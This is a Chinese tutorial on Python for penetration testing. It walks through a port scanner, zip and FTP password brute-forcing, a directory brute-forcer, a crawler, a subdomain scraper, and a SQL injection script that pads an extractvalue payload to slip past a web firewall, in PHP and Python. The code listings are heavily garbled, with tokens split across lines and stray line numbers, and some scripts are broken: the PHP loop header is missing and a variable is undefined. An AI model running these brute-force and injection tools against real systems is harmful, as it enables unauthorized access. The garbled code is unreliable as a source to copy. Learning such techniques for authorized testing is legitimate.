難易程度:★★★
閱讀點:python; web安全;
文章做者:xiaoye
文章來源:i春秋
關鍵字:網絡滲透技術
前言
python是門簡單易學的語言,強大的第三方庫讓咱們在編程中事半功倍,今天咱們就來談談python在滲透測試中的應用,讓咱們本身動手打造本身的滲透工具集。
1、信息蒐集--py端口掃描小腳本
端口掃描是滲透測試中經常使用的技術手段,發現敏感端口,嘗試弱口令或者默認口令爆破也是經常使用的手段,以前自學python時候百度着寫了個小腳本。
端口掃描小腳本:
php
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#coding: utf-8
import
socket
import
time
def
scan(ip, port):
try
:
socket.setdefaulttimeout(
3
)
s
=
socket.socket()
s.connect((ip, port))
return
True
except
:
return
def
scanport():
print
'做者:xiaoye'
.decode(
'utf-8'
).encode(
'gbk'
)
print
'--------------'
print
'--------------'
ym
=
raw_input
(
'請輸入域名(只對未使用cdn的網站有效):'
.decode(
'utf-8'
).encode(
'gbk'
))
ips
=
socket.gethostbyname(ym)
print
'ip: %s'
%
ips
portlist
=
[
80
,
8080
,
3128
,
8081
,
9080
,
1080
,
21
,
23
,
443
,
69
,
22
,
25
,
110
,
7001
,
9090
,
3389
,
1521
,
1158
,
2100
,
1433
]
starttime
=
time.time()
for
port
in
portlist:
res
=
scan(ips, port)
if
res :
print
'this port:%s is on'
%
port
endtime
=
time.time()
print
'本次掃描用了:%s秒'
.decode(
'utf-8'
).encode(
'gbk'
)
%
(endtime
-
starttime)
if
__name__
=
=
'__main__'
:
scanport()
|
對於端口掃描技術,其實分不少種,一般是利用tcp協議的三次握手過程(從網上偷張圖。。)
html
放出的那個腳本,是利用了tcp connect() 即完成了tcp三次握手全鏈接,根據握手狀況判斷端口是否開放,這種方式比較準確,可是會在服務器留下大量鏈接痕跡。
固然,若是不想留下大量痕跡,咱們能夠在第三次握手過程,將ack確認號變成rst(釋放鏈接),鏈接沒有創建,天然不會有痕跡,可是這種方法須要root權限
好了,先講解一下咱們的py端口掃描小腳本:
核心代碼:
python
1
2
3
4
5
6
|
portlist
=
[
80
,
8080
,
3128
,
8081
,
9080
,
1080
,
21
,
23
,
443
,
69
,
22
,
25
,
110
,
7001
,
9090
,
3389
,
1521
,
1158
,
2100
,
1433
]
for
port
in
portlist:
res
=
scan(ips, port)
if
res :
print
'this port:%s is on'
%
port
|
這段代碼是定義了要掃描的端口,而且用for ..in .. 來進行遍歷
git
1
2
3
|
socket.setdefaulttimeout(
3
)
s
=
socket.socket()
s.connect((ip, port))
|
這段代碼,是利用了socket套接字,創建tcp鏈接,socket.socket()就是s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用於tcp鏈接創建
2、實用爆破小腳本--壓縮文件密碼爆破&&ftp爆破
對於壓縮文件,py有本身的處理模塊zipfile,關於zipfile的實例用法,在violent python裏有實例腳本,模仿書裏寫了個小腳本
github
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#coding: utf-8
'''
z = zipfile.ZipFile('') , extractall
z.extractall(pwd)
'''
import
zipfile
import
threading
def
zipbp(zfile, pwd):
try
:
zfile.extractall(pwd
=
pwd)
print
'password found : %s'
%
pwd
except
:
return
def
main():
zfile
=
zipfile.ZipFile(
'xx.zip'
)
pwdall
=
open
(
'dict.txt'
)
for
pwda
in
pwdall.readlines():
pwd
=
pwda.strip(
'\n'
)
t
=
threading.Thread(target
=
zipbp, args
=
(zfile, pwd))
t.start()
#t.join()
if
__name__
=
=
'__main__'
:
main()
|
其實腳本很簡單,核心就一個地方:
web
1
2
3
|
zfile
=
zipfile.ZipFile(
'xx.zip'
)
..............
zfile.extractall(pwd
=
pwd)
|
ZipFile是zipfile模塊重要的一個類,zfile就是類的實例,而extractall(pwd)就是類裏的方法,用於處理帶有密碼的壓縮文件;當pwd正確時,壓縮文件就打開成功。而此腳本就是利用了zipfile模塊的類和方法,加載字典不斷嘗試pwd,直至返回正確的密碼,爆破成功
python在爆破方面也頗有優點,好比ftp,py也有ftplib模塊來處理,一次ftp鏈接過程以下:
sql
1
2
3
4
5
|
ftp
=
ftplib.FTP()
ftp.connect(host,
21
,
9
)
ftp.login(user, pwd)
ftp.retrlines(
'LIST'
)
ftp.quit()
|
connect(ip, port, timeout)用於創建ftp鏈接;login(user,pwd)用於登錄ftp;retrlines()用於控制在服務器執行命令的結果的傳輸模式;quit()方法用於關閉ftp鏈接
是否是以爲和zipfile的套路很像?沒錯,你會寫一個,就會寫另一個,就會寫許許多多的爆破腳本,腳本我就不放出來了,你們本身動手去寫一寫(p.s:關於ftp爆破,在加載字典以前,請先嚐試空密碼,即ftp.login(),萬一成功了呢。。)
3、目錄探測--py低配版御劍
昨天寫了個小腳本,用來探測目錄,實現和御劍同樣的效果,腳本是寫好了,開了多線程,可是還算很慢。。以後我會再次修改:
數據庫
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#coding: utf-8
import
sys
import
requests
import
threading
def
savetxt(url):
with
open
(
'domain.txt'
,
'a'
) as f:
url
=
url
+
'\n'
f.write(url)
def
geturl(url):
r
=
requests.get(url, timeout
=
1
)
status_code
=
r.status_code
if
status_code
=
=
200
:
print
url
+
' 200 ok'
savetxt(url)
#print url
#print status_code
syslen
=
len
(sys.argv)
#print syslen
#res=[]
url
=
raw_input
(
'請輸入要掃描目錄的網站\n'
.decode(
'utf-8'
).encode(
'gbk'
))
for
i
in
range
(
1
,syslen):
with
open
(sys.argv[i],
'r'
) as f:
for
fi
in
f.readlines():
fi
=
fi.strip(
'\n'
)
#print fi
fi
=
url
+
'/'
+
fi
#print fi
t
=
threading.Thread(target
=
geturl, args
=
(fi,))
t.start()
t.join()
#res = ''.join(res)
#print res
|
能run起來,速度較慢。。
說一下主要思想吧,以後我改完再細講。。:
加載1個或者多個字典,將字典中的內容與輸入的url進行拼接獲得完整url;
關於加載多個字典,代碼實現以下:
編程
01
02
03
04
05
06
07
08
09
10
|
syslen
=
len
(sys.argv)
#print syslen
#res=[]
url
=
raw_input
(
'請輸入要掃描目錄的網站\n'
.decode(
'utf-8'
).encode(
'gbk'
))
for
i
in
range
(
1
,syslen):
with
open
(sys.argv[i],
'r'
) as f:
for
fi
in
f.readlines():
fi
=
fi.strip(
'\n'
)
#print fi
fi
=
url
+
'/'
+
fi
|
利用sys.argv,咱們輸入python yujian.py dir.txt就加載dir.txt,輸入dir.txt php.txt ,由於有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];
with open(sys.argv, 'r') as f:它就會自動加載輸入的兩個txt文件(sys.argv[1]、sys.argv[2]);也就是說,咱們輸入幾個文件,它就加載幾個文件做爲字典
當咱們遇到php站點時,徹底能夠把御劍的字典拿過來,只加載php.txt dir.txt,這點和御劍是同樣的:
安全
經過python的requests.get(url)的狀態返回碼status_code來對是否存在該url進行判斷;
若是返回200就將該url打印出來,而且存進txt文本里
目前是這麼個想法。。
-----------------------------------------------------------------------
更新:多線程加隊列目錄探測腳本 : https://github.com/xiaoyecent/scan_dir
有關於更多小腳本, 能夠訪問 https://github.com/xiaoyecent 目前添加了百度url採集、代理ip採集驗證、爬蟲、簡單探測網段存活主機等小腳本,新手單純交流學習,大牛勿噴
4、爬蟲爬取整站鏈接
這個爬蟲是慕課網上的螞蟻老師講的,感受作的很是好,就改了一下,原本是用來爬取百度百科python1000條詞條的(如今仍是能爬的,要是以後目標更新了,就得制訂新的爬蟲策略了,大的框架不須要變),改爲了爬取網站整站鏈接,擴展性仍是很好的。
爬蟲的基本構成,抓一張螞蟻老師的圖:
1.調度器:調度器用來對各個部分進行調度,如將url取出,送給下載器下載,將下載是頁面送給解析器解析,解析出新的url及想要的數據等
2.url管理器:url管理器要維護兩個set()(爲啥用set(),由於set()自帶去重功能),一個標識已抓取的url,一個標識待抓取的url,同時,url管理器還要有將解析器解析出來的新url放到待抓取的url裏的方法等
3.下載器:實現最簡單,抓取靜態頁面只須要r = requests.get,而後r.content,頁面內容就存進內存了,固然,你存進數據庫裏也是能夠的;可是同時也是擴展時的重點,好比某些頁面須要登錄才能訪問,這時候就得post傳輸帳號密碼或者加上已經登錄產生的cookie
4.解析器:BeautifulSoup或者正則或者採用binghe牛的pyquery來解析下載器下載來的頁面數據
5.輸出器:主要功能輸出想獲得的數據
調度器:
spider_main.py
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
from
spider
import
url_manager, html_downloader, html_outputer, html_parser
class
SpiderMain(
object
):
def
__init__(
self
):
self
.urls
=
url_manager.UrlManager()
self
.downloader
=
html_downloader.HtmlDownloader()
self
.parser
=
html_parser.HtmlParser()
self
.outputer
=
html_outputer.HtmlOutputer()
def
craw(
self
, root_url):
self
.urls.add_new_url(root_url)
while
self
.urls.has_new_url():
try
:
new_url
=
self
.urls.get_new_url()
print
'craw : %s'
%
new_url
html_cont
=
self
.downloader.download(new_url)
new_urls, new_data
=
self
.parser.parse(new_url, html_cont)
self
.urls.add_new_urls(new_urls)
self
.outputer.collect_data(new_data)
except
:
print
'craw failed'
self
.outputer.output_html()
if
__name__
=
=
"__main__"
:
root_url
=
"本身想爬的網站,我爬了下愛編程,效果還行"
obj_spider
=
SpiderMain()
obj_spider.craw(root_url)
|
其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是本身寫的模塊,各個模塊裏有各自的類和方法,經過初始化獲得相應類的實例;
craw是調度器對各個模塊的調度:
1
2
3
4
5
6
|
new_url
=
self
.urls.get_new_url()
print
'craw : %s'
%
new_url
html_cont
=
self
.downloader.download(new_url)
new_urls, new_data
=
self
.parser.parse(new_url, html_cont)
self
.urls.add_new_urls(new_urls)
self
.outputer.collect_data(new_data)
|
分別對應着:
1.從待爬取url列表中取出一個url
2.將改url送往下載器下載,返回頁面內容
3.將頁面送往解析器解析,解析出新的url列表和想要的數據
4.調度url管理器,將新的url添加進帶爬取的url列表
5.調度輸出器輸出數據
url管理器:
url_manager.py:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class
UrlManager(
object
):
def
__init__(
self
):
self
.new_urls
=
set
()
self
.old_urls
=
set
()
def
add_new_url(
self
, url):
if
url
is
None
:
return
if
url
not
in
self
.new_urls
and
url
not
in
self
.old_urls:
self
.new_urls.add(url)
def
add_new_urls(
self
, urls):
if
urls
is
None
or
len
(urls)
=
=
0
:
return
for
url
in
urls:
self
.add_new_url(url)
def
has_new_url(
self
):
return
len
(
self
.new_urls) !
=
0
def
get_new_url(
self
):
new_url
=
self
.new_urls.pop()
self
.old_urls.add(new_url)
return
new_url
|
url_manager模塊裏的類,及類的方法
下載器:
html_downloader.py
原本螞蟻老師用的urllib,我給改了,改爲requests:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import
urllib2
import
requests
class
HtmlDownloader(
object
):
def
download(
self
, url):
if
url
is
None
:
return
None
r
=
requests.get(url,timeout
=
3
)
if
r.status_code !
=
200
:
return
None
return
r.content
|
html解析器:
html_parser.py
把抓取策略給改了,如今是解析全部連接,即a標籤href的值
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import
re
import
urlparse
from
bs4
import
BeautifulSoup
class
HtmlParser(
object
):
def
parse(
self
, page_url, html_cont):
if
page_url
is
None
or
html_cont
is
None
:
return
soup
=
BeautifulSoup(html_cont,
'html.parser'
, from_encoding
=
'utf-8'
)
new_urls
=
self
._get_new_urls(page_url, soup)
new_data
=
self
._get_new_data(page_url, soup)
return
new_urls, new_data
def
_get_new_urls(
self
, page_url, soup):
new_urls
=
set
()
links
=
soup.find_all(
'a'
)
for
link
in
links:
new_url
=
link[
'href'
]
new_full_url
=
urlparse.urljoin(page_url, new_url)
new_urls.add(new_full_url)
return
new_urls
def
_get_new_data(
self
, page_url, soup):
res_data
=
{}
# url
return
res_data
|
html_outputer.py
這個看狀況,可要可不要,反正已經能打印出來了:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class
HtmlOutputer(
object
):
def
__init__(
self
):
self
.datas
=
[]
def
collect_data(
self
, data):
if
data
is
None
:
return
self
.datas.append(data)
def
output_html(
self
):
fout
=
open
(
'output.html'
,
'w'
)
fout.write(
"<html>"
)
fout.write(
"<body>"
)
fout.write(
"<table>"
)
for
data
in
self
.datas:
fout.write(
"<tr>"
)
fout.write(
"<td>%s</td>"
%
data[
'url'
])
#fout.write("<td>%s</td>" % data['title'].encode('utf-8'))
#fout.write("<td>%s</td>" % data['summary'].encode('utf-8'))
fout.write(
"</tr>"
)
fout.write(
"</table>"
)
fout.write(
"</body>"
)
fout.write(
"</html>"
)
fout.close()
|
運行效果:
這款爬蟲可擴展性挺好,以後你們能夠擴展爬取本身想要的內容
固然要是隻須要爬取某個頁面的某些內容,徹底沒必要要這麼麻煩,一個小腳本就行了:
好比我要爬取某二級域名接口中的二級域名結果:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#coding: utf-8
import
urllib, re
def
getall(url):
page
=
urllib.urlopen(url).read()
return
page
def
ressubd(
all
):
a
=
re.
compile
(r
'value="(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )"><input'
)
subdomains
=
re.findall(a,
all
)
return
(subdomains)
if
__name__
=
=
'__main__'
:
print
'做者:深夜'
.decode(
'utf-8'
).encode(
'gbk'
)
print
'--------------'
print
'--------------'
url
=
'http://i.links.cn/subdomain/'
+
raw_input
(
'請輸入主域名:'
.decode(
'utf-8'
).encode(
'gbk'
))
+
'.html'
all
=
getall(url)
subd
=
ressubd(
all
)
sub
=
''.join(subd)
print
s
with
open
(
'url.txt'
,
'w'
) as f:
f.writelines(s)
|
小腳本用正則就行了,寫的快
5、python在exp中的應用
以前海盜表哥寫過過狗的一個php fuzz腳本
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16134
表哥寫的php版本的:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
$i
=10000;
$i
++;
echo
"$i\n"
;
$payload
=
'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='
.
str_repeat
(
'3'
,
$i
);
$ret
= doPost(
$url
,
$payload
);
if
(!
strpos
(
$ret
,
'網站防火牆'
)){
echo
"done!\n"
.
strlen
(
$payload
).
"\n"
.
$ret
;
die
();
}
}
function
doPost(
$url
,
$data
=
''
){
$ch
=curl_init();
curl_setopt(
$ch
, CURLOPT_URL,
$url
); curl_setopt(
$ch
, CURLOPT_POST, 1 ); curl_setopt(
$ch
, CURLOPT_HEADER, 0 ); curl_setopt(
$ch
, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt(
$ch
, CURLOPT_POSTFIELDS,
$data
);
$return
= curl_exec (
$ch
);
curl_close (
$ch
);
return
$return
;
}
|
我在本地搭了個環境,而後用python也寫了下,仍是挺好寫的:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
#coding: utf-8
import requests
,
os
#i = 9990;
url
=
'http
:
/
/
localhost
:
8090
/
sqlin.php'
def dopost
(
url
,
data
=
''
)
:
r
=
requests.post
(
url
,
data
)
return
r.
content
for
i
in
range
(
9990
,
10000
)
:
payload
=
{
'
id
'
:
'
1
and
1
=
'
+
i
*
'
3
'
+
'
and
(
extractvalue
(
1
,
concat
(
0
x
7
e
,
(
select
user
(
)
)
,
0
x
7
e
)
)
)
'
}
#print payload
ret
=
dopost
(
url
,
payload
)
ret
=
''.join
(
ret
)
if
ret.find
(
'網站防火牆'
)
=
=
-1
:
print
"done\n"
+
"\n"
+
ret
exit
(
0
)
|
6、總結
學生黨仍是很苦逼的,1.15號才考完試,不說了,寫文章寫了倆小時。。我去複習了,各位表哥有意見或者建議儘管提,文章哪裏不對的話會改的